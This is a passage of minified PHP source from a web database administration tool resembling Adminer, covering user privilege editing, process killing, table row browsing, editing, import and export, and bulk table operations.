- <script type="text/javascript">document.getElementById(\'form\')[\'Timing\'].onchange();</script>
- <p>';
- textarea("Statement",$K["Statement"]);
- echo '<p>
- <input type="submit" value="Save">
- ';
- if($C!="") {
- echo '<input type="submit" name="drop" value="Drop"', confirm(), '>';
- }
- echo '<input type="hidden" name="token" value="',$Ah, '">
- </form>
- ';
- }elseif(isset($_GET["user"])) {
- $ha=$_GET["user"];
- $Mf=array(""=>array("All privileges"=>""));
- foreach(get_rows("SHOW PRIVILEGES") as $K) {
- foreach(explode(",",($K["Privilege"]=="Grant option"?"":$K["Context"])) as $xb)
- $Mf[$xb][$K["Privilege"]]=$K["Comment"];
- }
- $Mf["Server Admin"]+=$Mf["File access on server"];
- $Mf["Databases"]["Create routine"]=$Mf["Procedures"]["Create routine"];
- unset($Mf["Procedures"]["Create routine"]);
- $Mf["Columns"]=array();
- foreach(array("Select","Insert","Update","References") as $X)
- $Mf["Columns"][$X]=$Mf["Tables"][$X];
- unset($Mf["Server Admin"]["Usage"]);
- foreach($Mf["Tables"] as $y=>$X)
- unset($Mf["Databases"][$y]);
- $Be=array();
- if($_POST) {
- foreach($_POST["objects"] as $y=>$X)
- $Be[$X]=(array) $Be[$X]+(array) $_POST["grants"][$y];
- }
- $Zc=array();
- $Ne="";
- if(isset($_GET["host"])&&($I=$g->query("SHOW GRANTS FOR ".q($ha)."@".q($_GET["host"])))) {
- while($K=$I->fetch_row()) {
- if(preg_match('~GRANT (.*) ON (.*) TO ~',$K[0],$B)&&preg_match_all('~ *([^(,]*[^ ,(])( *\\([^)]+\\))?~',$B[1],$he, PREG_SET_ORDER)) {
- foreach($he as $X) {
- if($X[1]!="USAGE")
- $Zc["$B[2]$X[2]"][$X[1]]=true;
- if(preg_match('~ WITH GRANT OPTION~',$K[0]))
- $Zc["$B[2]$X[2]"]["GRANT OPTION"]=true;
- }
- }
- if(preg_match("~ IDENTIFIED BY PASSWORD '([^']+)~",$K[0],$B))
- $Ne=$B[1];
- }
- }
- if($_POST&&!$n) {
- $Oe=(isset($_GET["host"])?q($ha)."@".q($_GET["host"]):"''");
- if($_POST["drop"])
- query_redirect("DROP USER $Oe",ME."privileges=",'User has been dropped.');
- else {
- $De=q($_POST["user"])."@".q($_POST["host"]);
- $vf=$_POST["pass"];
- if($vf!=''&&!$_POST["hashed"]) {
- $vf=$g->result("SELECT PASSWORD(".q($vf).")");
- $n=!$vf;
- }
- $Bb=false;
- if(!$n) {
- if($Oe!=$De) {
- $Bb=queries(($g->server_info<5?"GRANT USAGE ON *.* TO":"CREATE USER")." $De IDENTIFIED BY PASSWORD ".q($vf));
- $n=!$Bb;
- }elseif($vf!=$Ne)
- queries("SET PASSWORD FOR $De = ".q($vf));
- }
- if(!$n) {
- $lg=array();
- foreach($Be as $Ie=>$Yc) {
- if(isset($_GET["grant"]))
- $Yc=array_filter($Yc);
- $Yc=array_keys($Yc);
- if(isset($_GET["grant"]))
- $lg=array_diff(array_keys(array_filter($Be[$Ie], 'strlen')),$Yc);
- elseif($Oe==$De) {
- $Le=array_keys((array) $Zc[$Ie]);
- $lg=array_diff($Le,$Yc);
- $Yc=array_diff($Yc,$Le);
- unset($Zc[$Ie]);
- }
- if(preg_match('~^(.+)\\s*(\\(.*\\))?$~U',$Ie,$B)&&(!grant("REVOKE",$lg,$B[2], " ON $B[1] FROM $De")||!grant("GRANT",$Yc,$B[2], " ON $B[1] TO $De"))) {
- $n=true;
- break;
- }
- }
- }
- if(!$n&&isset($_GET["host"])) {
- if($Oe!=$De)
- queries("DROP USER $Oe");
- elseif(!isset($_GET["grant"])) {
- foreach($Zc as $Ie=>$lg) {
- if(preg_match('~^(.+)(\\(.*\\))?$~U',$Ie,$B))
- grant("REVOKE",array_keys($lg),$B[2], " ON $B[1] FROM $De");
- }
- }
- }
- queries_redirect(ME."privileges=",(isset($_GET["host"])?'User has been altered.':'User has been created.'), !$n);
- if($Bb)
- $g->query("DROP USER $De");
- }
- }
- page_header((isset($_GET["host"])?'Username'.": ".h("$ha@$_GET[host]"):'Create user'),$n, array(
- "privileges"=>array('','Privileges')));
- if($_POST) {
- $K=$_POST;
- $Zc=$Be;
- }else{
- $K=$_GET+array("host"=>$g->result("SELECT SUBSTRING_INDEX(CURRENT_USER, '@', -1)"));
- $K["pass"]=$Ne;
- if($Ne!="")
- $K["hashed"]=true;
- $Zc[(DB==""||$Zc?"":idf_escape(addcslashes(DB, "%_\\"))).".*"]=array();
- }
- echo '<form action="" method="post">
- <table id="menustable" cellspacing="0" border="1">
- <tr><td>Server<td><input type="text" name="host" maxlength="60" value="', h($K["host"]), '" autocapitalize="off">
- <tr><td>Username<td><input type="text" name="user" maxlength="16" value="', h($K["user"]), '" autocapitalize="off">
- <tr><td>Password<td><input type="text" name="pass" id="pass" value="', h($K["pass"]), '">';
- if(!$K["hashed"]) {
- echo '<script type="text/javascript">typePassword(document.getElementById(\'pass\'));</script>';
- }
- echo checkbox("hashed",1,$K["hashed"], 'Hashed', "typePassword(this.form['pass'], this.checked);"), '</table>';
- echo "<table id='menustable' cellspacing='0' border='1'>\n","<thead><tr><th colspan='2'>".'Privileges'.doc_link(array('sql'=>"grant.html#priv_level"));
- $s=0;
- foreach($Zc as $Ie=>$Yc) {
- echo '<td>'.($Ie!="*.*"?"<input type='text' name='objects[$s]' value='".h($Ie)."' size='10' autocapitalize='off'>":"<input type='hidden' name='objects[$s]' value='*.*' size='10'>*.*");
- $s++;
- }
- echo "</thead>\n";
- foreach(array(""=>"","Server Admin"=>'Server',"Databases"=>'Database',"Tables"=>'Table',"Columns"=>'Column',"Procedures"=>'Routine') as $xb=>$Nb) {
- foreach((array) $Mf[$xb] as $Lf=>$qb) {
- echo "<tr".odd()."><td".($Nb?">$Nb<td":" colspan='2'").' lang="en" title="'.h($qb).'">'.h($Lf);
- $s=0;
- foreach($Zc as $Ie=>$Yc) {
- $C="'grants[$s][".h(strtoupper($Lf))."]'";
- $Y=$Yc[strtoupper($Lf)];
- if($xb=="Server Admin"&&$Ie!=(isset($Zc["*.*"])?"*.*":".*"))
- echo "<td> ";
- elseif(isset($_GET["grant"]))
- echo "<td><select name=$C><option><option value='1'".($Y?" selected":"").">".'Grant'."<option value='0'".($Y=="0"?" selected":"").">".'Revoke'."</select>";
- else
- echo "<td align='center'><label class='block'><input type='checkbox' name=$C value='1'".($Y?" checked":"").($Lf=="All privileges"?" id='grants-$s-all'":($Lf=="Grant option"?"":" onclick=\"if (this.checked) formUncheck('grants-$s-all');\""))."></label>";
- $s++;
- }
- }
- }
- echo "</table>\n",'<p>
- <input type="submit" value="Save">
- ';
- if(isset($_GET["host"])) {
- echo '<input type="submit" name="drop" value="Drop"', confirm(), '>';
- }
- echo '<input type="hidden" name="token" value="',$Ah, '">
- </form>
- ';
- }elseif(isset($_GET["processlist"])) {
- if(support("kill")&&$_POST&&!$n) {
- $Od=0;
- foreach((array) $_POST["kill"] as $X) {
- if(kill_process($X))
- $Od++;
- }
- queries_redirect(ME."processlist=",lang(array('%d process has been killed.','%d processes have been killed.'),$Od),$Od||!$_POST["kill"]);
- }
- page_header('Process list',$n);
- echo '
- <form action="" method="post">
- <table id="menustable" border="1" cellspacing="0" onclick="tableClick(event);" ondblclick="tableClick(event, true);" class="nowrap checkable">
- ';
- $s=-1;
- foreach(process_list() as $s=>$K) {
- if(!$s) {
- echo "<thead><tr lang='en'>".(support("kill")?"<td> ":"");
- foreach($K as $y=>$X)
- echo "<td>$y".doc_link(array('sql'=>"show-processlist.html#processlist_".strtolower($y),'pgsql'=>"monitoring-stats.html#PG-STAT-ACTIVITY-VIEW",'oracle'=>"../b14237/dynviews_2088.htm"));
- echo "</thead>\n";
- }
- echo "<tr".odd().">".(support("kill")?"<td>".checkbox("kill[]",$K[$x=="sql"?"Id":"pid"], 0):"");
- foreach($K as $y=>$X)
- echo "<td>".(($x=="sql"&&$y=="Info"&&preg_match("~Query|Killed~",$K["Command"])&&$X!="")||($x=="pgsql"&&$y=="current_query"&&$X!="<IDLE>")||($x=="oracle"&&$y=="sql_text"&&$X!="")?"<span class='jush-$x'>".shorten_utf8($X, 100, "</span>").' <a href="'.h(ME.($K["db"]!=""?"db=".urlencode($K["db"])."&":"")."sql=".urlencode($X)).'">'.'Clone'.'</a>':nbsp($X));
- echo "\n";
- }
- echo '</table>
- <script type=\'text/javascript\'>tableCheck();</script>
- <p>
- ';
- if(support("kill")) {
- echo ($s+1)."/".sprintf('%d in total', max_connections()), "<p><input type='submit' value='".'Kill'."'>\n";
- }
- echo '<input type="hidden" name="token" value="',$Ah, '">
- </form>
- ';
- }elseif(isset($_GET["replication"])) {
- page_header('Replication');
- echo "<h3>".'Master status'.doc_link(array("sql"=>"show-master-status.html"))."</h3>\n";
- $fe=replication_status("MASTER");
- if(!$fe)
- echo "<p class='message'>".'No rows.'."\n";
- else {
- echo "<table id='menustable' cellspacing='0' border='1'>\n";
- foreach($fe[0] as $y=>$X) {
- echo "<tr>","<td>".h($y), "<td>".nbsp($X);
- }
- echo "</table>\n";
- }
- $Kg=replication_status("SLAVE");
- if($Kg) {
- echo "<h3>".'Slave status'.doc_link(array("sql"=>"show-slave-status.html"))."</h3>\n";
- foreach($Kg[0] as $Jg) {
- echo "<table id='menustable' cellspacing='0' border='1' id='menustable'>\n";
- foreach($Jg as $y=>$X) {
- echo "<tr>","<td>".h($y), "<td>".nbsp($X);
- }
- echo "</table>\n";
- }
- }
- }elseif(isset($_GET["select"])) {
- $a=$_GET["select"];
- $S=table_status1($a);
- $w=indexes($a);
- $p=fields($a);
- $Rc=column_foreign_keys($a);
- $Ke="";
- if($S["Oid"]) {
- $Ke=($x=="sqlite"?"rowid":"oid");
- $w[]=array("type"=>"PRIMARY","columns"=>array($Ke));
- }
- parse_str($_COOKIE["adminer_import"],$xa);
- $mg=array();
- $f=array();
- $rh=null;
- foreach($p as $y=>$o) {
- $C=$b->fieldName($o);
- if(isset($o["privileges"]["select"])&&$C!="") {
- $f[$y]=html_entity_decode(strip_tags($C), ENT_QUOTES);
- if(is_shortable($o))
- $rh=$b->selectLengthProcess();
- }
- $mg+=$o["privileges"];
- }
- list($M,$ad)=$b->selectColumnsProcess($f,$w);
- $Cd=count($ad)<count($M);
- $Z=$b->selectSearchProcess($p,$w);
- $af=$b->selectOrderProcess($p,$w);
- $z=$b->selectLimitProcess();
- $Wc=($M?implode(",",$M):"*".($Ke?",$Ke":"")).convert_fields($f,$p,$M)."\nFROM ".table($a);
- $bd=($ad&&$Cd?"\nGROUP BY ".implode(",",$ad):"").($af?"\nORDER BY ".implode(",",$af):"");
- if($_GET["val"]&&is_ajax()) {
- header("Content-Type: text/plain; charset=utf-8");
- foreach($_GET["val"] as $Sh=>$K) {
- $Fa=convert_field($p[key($K)]);
- $M=array($Fa?$Fa:idf_escape(key($K)));
- $Z[]=where_check($Sh,$p);
- $J=$Vb->select($a,$M,$Z,$M);
- if($J)
- echo reset($J->fetch_row());
- }
- exit;
- }
- if($_POST&&!$n) {
- $pi=$Z;
- if(!$_POST["all"]&&is_array($_POST["check"])) {
- $db=array();
- foreach($_POST["check"] as $ab)
- $db[]=where_check($ab,$p);
- $pi[]="((".implode(") OR (",$db)."))";
- }
- $pi=($pi?"\nWHERE ".implode(" AND ",$pi):"");
- $Hf=$Uh=null;
- foreach($w as $v) {
- if($v["type"]=="PRIMARY") {
- $Hf=array_flip($v["columns"]);
- $Uh=($M?$Hf:array());
- break;
- }
- }
- foreach((array) $Uh as $y=>$X) {
- if(in_array(idf_escape($y),$M))
- unset($Uh[$y]);
- }
- if($_POST["export"]) {
- cookie("adminer_import","output=".urlencode($_POST["output"])."&format=".urlencode($_POST["format"]));
- dump_headers($a);
- $b->dumpTable($a, "");
- if(!is_array($_POST["check"])||$Uh===array())
- $H="SELECT $Wc$pi$bd";
- else {
- $Qh=array();
- foreach($_POST["check"] as $X)
- $Qh[]="(SELECT".limit($Wc, "\nWHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($X,$p).$bd, 1).")";
- $H=implode(" UNION ALL ",$Qh);
- }
- $b->dumpData($a, "table",$H);
- exit;
- }
- if(!$b->selectEmailProcess($Z,$Rc)) {
- if($_POST["save"]||$_POST["delete"]) {
- $I=true;
- $ya=0;
- $O=array();
- if(!$_POST["delete"]) {
- foreach($f as $C=>$X) {
- $X=process_input($p[$C]);
- if($X!==null&&($_POST["clone"]||$X!==false))
- $O[idf_escape($C)]=($X!==false?$X:idf_escape($C));
- }
- }
- if($_POST["delete"]||$O) {
- if($_POST["clone"])
- $H="INTO ".table($a)." (".implode(",",array_keys($O)).")\nSELECT ".implode(",",$O)."\nFROM ".table($a);
- if($_POST["all"]||($Uh===array()&&is_array($_POST["check"]))||$Cd) {
- $I=($_POST["delete"]?$Vb->delete($a,$pi):($_POST["clone"]?queries("INSERT $H$pi"):$Vb->update($a,$O,$pi)));
- $ya=$g->affected_rows;
- }else{
- foreach((array) $_POST["check"] as $X) {
- $oi="\nWHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($X,$p);
- $I=($_POST["delete"]?$Vb->delete($a,$oi, 1):($_POST["clone"]?queries("INSERT".limit1($H,$oi)):$Vb->update($a,$O,$oi)));
- if(!$I)
- break;
- $ya+=$g->affected_rows;
- }
- }
- }
- $pe=lang(array('%d item has been affected.','%d items have been affected.'),$ya);
- if($_POST["clone"]&&$I&&$ya==1) {
- $Td=last_id();
- if($Td)
- $pe=sprintf('Item%s has been inserted.', " $Td");
- }
- queries_redirect(remove_from_uri($_POST["all"]&&$_POST["delete"]?"page":""),$pe,$I);
- if(!$_POST["delete"]) {
- edit_form($a,$p, (array) $_POST["fields"], !$_POST["clone"]);
- page_footer();
- exit;
- }
- }elseif(!$_POST["import"]) {
- if(!$_POST["val"])
- $n='Ctrl+click on a value to modify it.';
- else {
- $I=true;
- $ya=0;
- foreach($_POST["val"] as $Sh=>$K) {
- $O=array();
- foreach($K as $y=>$X) {
- $y=bracket_escape($y, 1);
- $O[idf_escape($y)]=(preg_match('~char|text~',$p[$y]["type"])||$X!=""?$b->processInput($p[$y],$X):"NULL");
- }
- $I=$Vb->update($a,$O, " WHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($Sh,$p), !($Cd||$Uh===array()), " ");
- if(!$I)
- break;
- $ya+=$g->affected_rows;
- }
- queries_redirect(remove_from_uri(), lang(array('%d item has been affected.','%d items have been affected.'),$ya),$I);
- }
- }elseif(!is_string($Hc=get_file("csv_file",true)))
- $n=upload_error($Hc);
- elseif(!preg_match('~~u',$Hc))
- $n='File must be in UTF-8 encoding.';
- else {
- cookie("adminer_import","output=".urlencode($xa["output"])."&format=".urlencode($_POST["separator"]));
- $I=true;
- $nb=array_keys($p);
- preg_match_all('~(?>"[^"]*"|[^"\\r\\n]+)+~',$Hc,$he);
- $ya=count($he[0]);
- $Vb->begin();
- $Ag=($_POST["separator"]=="csv"?",":($_POST["separator"]=="tsv"?"\t":";"));
- $L=array();
- foreach($he[0] as $y=>$X) {
- preg_match_all("~((?>\"[^\"]*\")+|[^$Ag]*)$Ag~",$X.$Ag,$ie);
- if(!$y&&!array_diff($ie[1],$nb)) {
- $nb=$ie[1];
- $ya--;
- }else{
- $O=array();
- foreach($ie[1] as $s=>$kb)
- $O[idf_escape($nb[$s])]=($kb==""&&$p[$nb[$s]]["null"]?"NULL":q(str_replace('""','"', preg_replace('~^"|"$~','',$kb))));
- $L[]=$O;
- }
- }
- $I=(!$L||$Vb->insertUpdate($a,$L,$Hf));
- if($I)
- $I=$Vb->commit();
- queries_redirect(remove_from_uri("page"), lang(array('%d row has been imported.','%d rows have been imported.'),$ya),$I);
- $Vb->rollback();
- }
- }
- }
- $dh=$b->tableName($S);
- if(is_ajax()) {
- page_headers();
- ob_start();
- } else
- page_header('Select'.": $dh",$n);
- $O=null;
- if(isset($mg["insert"])||!support("table")) {
- $O="";
- foreach((array) $_GET["where"] as $X) {
- if(count($Rc[$X["col"]])==1&&($X["op"]=="="||(!$X["op"]&&!preg_match('~[_%]~',$X["val"]))))
- $O.="&set".urlencode("[".bracket_escape($X["col"])."]")."=".urlencode($X["val"]);
- }
- }
- $b->selectLinks($S,$O);
- if(!$f&&support("table"))
- echo "<p class='error'>".'Unable to select the table'.($p?".":": ".error())."\n";
- else {
- echo "<form action='' id='form'>\n","<div style='display: none;'>";
- hidden_fields_get();
- echo (DB!=""?'<input type="hidden" name="db" value="'.h(DB).'">'.(isset($_GET["ns"])?'<input type="hidden" name="ns" value="'.h($_GET["ns"]).'">':""):"");
- echo '<input type="hidden" name="select" value="'.h($a).'">', "</div>\n";
- $b->selectColumnsPrint($M,$f);
- $b->selectSearchPrint($Z,$f,$w);
- $b->selectOrderPrint($af,$f,$w);
- $b->selectLimitPrint($z);
- $b->selectLengthPrint($rh);
- $b->selectActionPrint($w);
- echo "</form>\n";
- $E=$_GET["page"];
- if($E=="last") {
- $Uc=$g->result(count_rows($a,$Z,$Cd,$ad));
- $E=floor(max(0,$Uc-1)/$z);
- }
- $yg=$M;
- if(!$yg) {
- $yg[]="*";
- if($Ke)
- $yg[]=$Ke;
- }
- $yb=convert_fields($f,$p,$M);
- if($yb)
- $yg[]=substr($yb, 2);
- $I=$Vb->select($a,$yg,$Z,$ad,$af,$z,$E, true);
- if(!$I)
- echo "<p class='error'>".error()."\n";
- else {
- if($x=="mssql"&&$E)
- $I->seek($z*$E);
- $kc=array();
- echo "<form action='' method='post' enctype='multipart/form-data'>\n";
- $L=array();
- while($K=$I->fetch_assoc()) {
- if($E&&$x=="oracle")
- unset($K["RNUM"]);
- $L[]=$K;
- }
- if($_GET["page"]!="last"&&+$z&&$ad&&$Cd&&$x=="sql")
- $Uc=$g->result(" SELECT FOUND_ROWS()");
- if(!$L)
- echo "<p class='message'>".'No rows.'."\n";
- else {
- $Oa=$b->backwardKeys($a,$dh);
- echo "<table id='menustable' border='1' id='table' cellspacing='0' class='nowrap checkable' onclick='tableClick(event);' ondblclick='tableClick(event, true);' onkeydown='return editingKeydown(event);'>\n","<thead><tr>".(!$ad&&$M?"":"<td><input type='checkbox' id='all-page' onclick='formCheck(this, /check/);' class='js only'> <a href='".h($_GET["modify"]?remove_from_uri("modify"):$_SERVER["REQUEST_URI"]."&modify=1")."'>".'Modify'."</a>");
- $Ae=array();
- $Xc=array();
- reset($M);
- $Vf=1;
- foreach($L[0] as $y=>$X) {
- if($y!=$Ke) {
- $X=$_GET["columns"][key($M)];
- $o=$p[$M?($X?$X["col"]:current($M)):$y];
- $C=($o?$b->fieldName($o,$Vf):($X["fun"]?"*":$y));
- if($C!="") {
- $Vf++;
- $Ae[$y]=$C;
- $e=idf_escape($y);
- $ld=remove_from_uri('(order|desc)[^=]*|page').'&order%5B0%5D='.urlencode($y);
- $Nb="&desc%5B0%5D=1";
- echo '<td onmouseover="columnMouse(this);" onmouseout="columnMouse(this, \' hidden\');">','<a href="'.h($ld.($af[0]==$e||$af[0]==$y||(!$af&&$Cd&&$ad[0]==$e)?$Nb:'')).'">';
- echo apply_sql_function($X["fun"],$C)."</a>";
- echo "<span class='column hidden'>","<a href='".h($ld.$Nb)."' title='".'descending'."' class='text'> ↓</a>";
- if(!$X["fun"])
- echo '<a href="#fieldset-search" onclick="selectSearch(\''.h(js_escape($y)).'\'); return false;" title="'.'Search'.'" class="text js only"> =</a>';
- echo "</span>";
- }
- $Xc[$y]=$X["fun"];
- next($M);
- }
- }
- $Zd=array();
- if($_GET["modify"]) {
- foreach($L as $K) {
- foreach($K as $y=>$X)
- $Zd[$y]=max($Zd[$y], min(40, strlen(utf8_decode($X))));
- }
- }
- echo ($Oa?"<td>".'Relations':"")."</thead>\n";
- if(is_ajax()) {
- if($z%2==1&&$E%2==1)
- odd();
- ob_end_clean();
- }
- foreach($b->rowDescriptions($L,$Rc) as $_e=>$K) {
- $Rh=unique_array($L[$_e],$w);
- if(!$Rh) {
- $Rh=array();
- foreach($L[$_e] as $y=>$X) {
- if(!preg_match('~^(COUNT\\((\\*|(DISTINCT )?`(?:[^`]|``)+`)\\)|(AVG|GROUP_CONCAT|MAX|MIN|SUM)\\(`(?:[^`]|``)+`\\))$~',$y))
- $Rh[$y]=$X;
- }
- }
- $Sh="";
- foreach($Rh as $y=>$X) {
- if(($x=="sql"||$x=="pgsql")&&strlen($X)>64) {
- $y=(strpos($y, '(')?$y:idf_escape($y));
- $y="MD5(".($x=='sql'&&preg_match("~^utf8_~",$p[$y]["collation"])?$y:"CONVERT($y USING ".charset($g).")").")";
- $X=md5($X);
- }
- $Sh.="&".($X!==null?urlencode("where[".bracket_escape($y)."]")."=".urlencode($X):"null%5B%5D=".urlencode($y));
- }
- echo "<tr".odd().">".(!$ad&&$M?"":"<td>".checkbox("check[]",substr($Sh, 1), in_array(substr($Sh, 1),(array) $_POST["check"]), "","this.form['all'].checked = false; formUncheck('all-page');").($Cd||information_schema(DB)?"":" <a href='".h(ME."edit=".urlencode($a).$Sh)."'>".'edit'."</a>"));
- foreach($K as $y=>$X) {
- if(isset($Ae[$y])) {
- $o=$p[$y];
- if($X!=""&&(!isset($kc[$y])||$kc[$y]!=""))
- $kc[$y]=(is_mail($X)?$Ae[$y]:"");
- $_="";
- if(preg_match('~blob|bytea|raw|file~',$o["type"])&&$X!="")
- $_=ME.'download='.urlencode($a).'&field='.urlencode($y).$Sh;
- if(!$_&&$X!==null) {
- foreach((array) $Rc[$y] as $q) {
- if(count($Rc[$y])==1||end($q["source"])==$y) {
- $_="";
- foreach($q["source"] as $s=>$Ng)
- $_.=where_link($s,$q["target"][$s],$L[$_e][$Ng]);
- $_=($q["db"]!=""?preg_replace('~([?&]db=)[^&]+~','\\1'.urlencode($q["db"]), ME):ME).'select='.urlencode($q["table"]).$_;
- if($q["ns"])
- $_=preg_replace('~([?&]ns=)[^&]+~','\\1'.urlencode($q["ns"]),$_);
- if(count($q["source"])==1)
- break;
- }
- }
- }
- if($y=="COUNT(*)") {
- $_=ME."select=".urlencode($a);
- $s=0;
- foreach((array) $_GET["where"] as $W) {
- if(!array_key_exists($W["col"],$Rh))
- $_.=where_link($s++,$W["col"],$W["val"],$W["op"]);
- }
- foreach($Rh as $Id=>$W)
- $_.=where_link($s++,$Id,$W);
- }
- $X=select_value($X,$_,$o,$rh);
- $t=h("val[$Sh][".bracket_escape($y)."]");
- $Y=$_POST["val"][$Sh][bracket_escape($y)];
- $fc=!is_array($K[$y])&&is_utf8($X)&&$L[$_e][$y]==$K[$y]&&!$Xc[$y];
- $qh=preg_match('~text|lob~',$o["type"]);
- if(($_GET["modify"]&&$fc)||$Y!==null) {
- $dd=h($Y!==null?$Y:$K[$y]);
- echo "<td>".($qh?"<textarea name='$t' cols='30' rows='".(substr_count($K[$y], "\n")+1)."'>$dd</textarea>":"<input type='text' name='$t' value='$dd' size='$Zd[$y]'>");
- }else{
- $de=strpos($X, "<i>...</i>");
- echo "<td id='$t' onclick=\"selectClick(this, event, ".($de?2:($qh?1:0)).($fc?"":",'".h('Use edit link to modify this value.')."'").");\">$X";
- }
- }
- }
- if($Oa)
- echo "<td>";
- $b->backwardKeysPrint($Oa,$L[$_e]);
- echo "</tr>\n";
- }
- if(is_ajax())
- exit;
- echo "</table>\n";
- }
- if(($L||$E)&&!is_ajax()) {
- $uc=true;
- if($_GET["page"]!="last") {
- if(!+$z)
- $Uc=count($L);
- elseif($x!="sql"||!$Cd) {
- $Uc=($Cd?false:found_rows($S,$Z));
- if($Uc<max(1e4,2*($E+1)*$z))
- $Uc=@reset(@slow_query(@count_rows($a,$Z,$Cd,$ad)));
- else
- $uc=false;
- }
- }
- if(+$z&&($Uc===false||$Uc>$z||$E)) {
- echo "<p class='pages'>";
- $ke=($Uc===false?$E+(count($L)>=$z?2:1):floor(($Uc-1)/$z));
- if($x!="simpledb") {
- echo '<a href="'.h(remove_from_uri("page"))."\" onclick=\"pageClick(this.href, +prompt('".'Page'."','".($E+1)."'), event); return false;\">".'Page'."</a>:",pagination(0,$E).($E>5?" ...":"");
- for($s=max(1,$E-4); $s<min($ke,$E+5); $s++)
- echo pagination($s,$E);
- if($ke>0) {
- echo ($E+5<$ke?" ...":""),($uc&&$Uc!==false?pagination($ke,$E):" <a href='".h(remove_from_uri("page")."&page=last")."' title='~$ke'>".'last'."</a>");
- }
- echo (($Uc===false?count($L)+1:$Uc-$E*$z)>$z?' <a href="'.h(remove_from_uri("page")."&page=".($E+1)).'" onclick="return !selectLoadMore(this, '.(+$z).', \''.'Loading'.'...\');" class="loadmore">'.'Load more data'.'</a>':'');
- }else{
- echo 'Page'.":",pagination(0,$E).($E>1?" ...":""),($E?pagination($E,$E):""),($ke>$E?pagination($E+1,$E).($ke>$E+1?" ...":""):"");
- }
- }
- echo "<p class='count'>\n",($Uc!==false?"(".($uc?"":"~ ").lang(array('%d row','%d rows'),$Uc).") ":"");
- $Sb=($uc?"":"~ ").$Uc;
- echo checkbox("all",1, 0, 'whole result', "var checked = formChecked(this, /check/); selectCount('selected', this.checked?'$Sb':checked); selectCount('selected2', this.checked || !checked?'$Sb':checked);")."\n";
- if($b->selectCommandPrint()) {
- echo '<fieldset', ($_GET["modify"]?'':' class="jsonly"'), '><legend>Modify</legend><div>
- <input type="submit" value="Save"', ($_GET["modify"]?'':' title="'.'Ctrl+click on a value to modify it.'.'"'), '>
- </div></fieldset>
- <fieldset><legend>Selected <span id="selected"></span></legend><div>
- <input type="submit" name="edit" value="Edit">
- <input type="submit" name="clone" value="Clone">
- <input type="submit" name="delete" value="Delete"', confirm(), '>
- </div></fieldset>
- ';
- }
- $Sc=$b->dumpFormat();
- foreach((array) $_GET["columns"] as $e) {
- if($e["fun"]) {
- unset($Sc['sql']);
- break;
- }
- }
- if($Sc) {
- print_fieldset("export",'Export'." <span id='selected2'></span>");
- $lf=$b->dumpOutput();
- echo ($lf?html_select("output",$lf,$xa["output"])." ":""), html_select("format",$Sc,$xa["format"]), " <input type='submit' name='export' value='".'Export'."'>\n","</div></fieldset>\n";
- }
- echo (!$ad&&$M?"":"<script type='text/javascript'>tableCheck();</script>\n");
- }
- if($b->selectImportPrint()) {
- print_fieldset("import",'Import', !$L);
- echo "<input type='file' name='csv_file'> ",html_select("separator",array("csv"=>"CSV,","csv;"=>"CSV;","tsv"=>"TSV"),$xa["format"], 1);
- echo " <input type='submit' name='import' value='".'Import'."'>","</div></fieldset>\n";
- }
- $b->selectEmailPrint(array_filter($kc, 'strlen'),$f);
- echo "<p><input type='hidden' name='token' value='$Ah'></p>\n","</form>\n";
- }
- }
- if(is_ajax()) {
- ob_end_clean();
- exit;
- }
- }elseif(isset($_GET["variables"])) {
- $P=isset($_GET["status"]);
- page_header($P?'Status':'Variables');
- $hi=($P?show_status():show_variables());
- if(!$hi)
- echo "<p class='message'>".'No rows.'."\n";
- else {
- echo "<table id='menustable' cellspacing='0' border='1'>\n";
- foreach($hi as $y=>$X) {
- echo "<tr>","<td><span class='jush-".$x.($P?"status":"set")."'>".h($y)."</span>","<td>".nbsp($X);
- }
- echo "</table>\n";
- }
- }elseif(isset($_GET["script"])) {
- header("Content-Type: text/javascript; charset=utf-8");
- if($_GET["script"]=="db") {
- $ah=array("Data_length"=>0,"Index_length"=>0,"Data_free"=>0);
- foreach(table_status() as $C=>$S) {
- json_row("Comment-$C",nbsp($S["Comment"]));
- if(!is_view($S)) {
- foreach(array("Engine","Collation") as $y)
- json_row("$y-$C",nbsp($S[$y]));
- foreach($ah+array("Auto_increment"=>0,"Rows"=>0) as $y=>$X) {
- if($S[$y]!="") {
- $X=format_number($S[$y]);
- json_row("$y-$C",($y=="Rows"&&$X&&$S["Engine"]==($Qg=="pgsql"?"table":"InnoDB")?"~ $X":$X));
- if(isset($ah[$y]))
- $ah[$y]+=($S["Engine"]!="InnoDB"||$y!="Data_free"?$S[$y]:0);
- }elseif(array_key_exists($y,$S))
- json_row("$y-$C");
- }
- }
- }
- foreach($ah as $y=>$X)
- json_row("sum-$y",format_number($X));
- json_row("");
- }elseif($_GET["script"]=="kill")
- $g->query("KILL ".number($_POST["kill"]));
- else {
- foreach(count_tables($b->databases()) as $m=>$X) {
- json_row("tables-$m",$X);
- json_row("size-$m",db_size($m));
- }
- json_row("");
- }
- exit;
- }else{
- $jh=array_merge((array) $_POST["tables"], (array) $_POST["views"]);
- if($jh&&!$n&&!$_POST["search"]) {
- $I=true;
- $pe="";
- if($x=="sql"&&count($_POST["tables"])>1&&($_POST["drop"]||$_POST["truncate"]||$_POST["copy"]))
- queries("SET foreign_key_checks = 0");
- if($_POST["truncate"]) {
- if($_POST["tables"])
- $I=truncate_tables($_POST["tables"]);
- $pe='Tables have been truncated.';
- }elseif($_POST["move"]) {
- $I=move_tables((array) $_POST["tables"], (array) $_POST["views"],$_POST["target"]);
- $pe='Tables have been moved.';
- }elseif($_POST["copy"]) {
- $I=copy_tables((array) $_POST["tables"], (array) $_POST["views"],$_POST["target"]);
- $pe='Tables have been copied.';
- }elseif($_POST["drop"]) {
- if($_POST["views"])
- $I=drop_views($_POST["views"]);
- if($I&&$_POST["tables"])
- $I=drop_tables($_POST["tables"]);
- $pe='Tables have been dropped.';
- }elseif($x!="sql") {
- $I=($x=="sqlite"?queries("VACUUM"):apply_queries("VACUUM".($_POST["optimize"]?"":" ANALYZE"),$_POST["tables"]));
- $pe='Tables have been optimized.';
- }elseif(!$_POST["tables"])
- $pe='No tables.';
- elseif($I=queries(($_POST["optimize"]?"OPTIMIZE":($_POST["check"]?"CHECK":($_POST["repair"]?"REPAIR":"ANALYZE")))." TABLE ".implode(",",array_map('idf_escape',$_POST["tables"])))) {
- while($K=$I->fetch_assoc())
- $pe.="<b>".h($K["Table"])."</b>: ".h($K["Msg_text"])."<br>";
- }
